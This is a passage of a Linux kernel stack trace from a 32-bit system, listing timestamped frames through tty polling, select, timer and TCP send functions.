1318.457931] [<c10327cb>] ? try_to_wake_up+0x13f/0x13f [ 1318.457935] [<c11cfecc>] ? tty_ldisc_ref_wait+0x5f/0x76 [ 1318.457940] [<c104de7a>] ? wake_up_bit+0x5c/0x5c [ 1318.457943] [<c11c9ad3>] ? tty_poll+0x32/0x5e [ 1318.457947] [<c10dd4d5>] ? do_select+0x2a1/0x42e [ 1318.457950] [<c10dcb83>] ? poll_freewait+0x69/0x69 [ 1318.457953] [<c10dcc25>] ? __pollwait+0xa2/0xa2 [ 1318.457955] [<c10dcc25>] ? __pollwait+0xa2/0xa2 [ 1318.457958] [<c10dcc25>] ? __pollwait+0xa2/0xa2 [ 1318.457960] [<c10dcc25>] ? __pollwait+0xa2/0xa2 [ 1318.457963] [<c10dcc25>] ? __pollwait+0xa2/0xa2 [ 1318.457965] [<c10dcc25>] ? __pollwait+0xa2/0xa2 [ 1318.457968] [<c10dcc25>] ? __pollwait+0xa2/0xa2 [ 1318.457971] [<c10429c2>] ? lock_timer_base+0x19/0x35 [ 1318.457974] [<c1042eb5>] ? __mod_timer+0x10c/0x116 [ 1318.457977] [<c1042f89>] ? mod_timer+0x69/0x6e [ 1318.457981] [<c121325d>] ? sk_reset_timer+0xc/0x16 [ 1318.457984] [<c1252f57>] ? tcp_event_new_data_sent+0x66/0x6b [ 1318.457987] [<c1255b85>] ? tcp_write_xmit+0x7a7/0x86a [ 1318.457990] [<c121760d>] ? __alloc_skb+0x50/0xfd [ 1318.457994] [<c12c12bc>] ? _raw_spin_lock_bh+0x8/0x1e [ 1318.457996] [<c1212e98>] ? release_sock+0x10/0xc4 [ 1318.457999] [<c124b543>] ? tcp_sendmsg+0x6dd/0x7b7 [ 1318.458003] [<c1162c97>] ? _copy_from_user+0x2b/0x102 [ 1318.458006] [<c10dd7a0>] ? core_sys_select+0x13e/0x1c3 [ 1318.458009] [<c12102a3>] ? sock_aio_write+0xc0/0xd4 [ 1318.458012] [<c10d0655>] ? do_sync_write+0xa0/0xe4 [ 1318.458016] [<c10b141c>] ? handle_mm_fault+0x222/0x238 [ 1318.458019] [<c10f6096>] ? fsnotify+0x1de/0x1f9 [ 1318.458022] [<c10dd9e8>] ? sys_select+0x6e/0x8f [ 1318.458024] [<c10d105e>] ? sys_write+0x3c/0x63 [ 1318.458028] [<c12c6a1f>] ? sysenter_do_call+0x12/0x28

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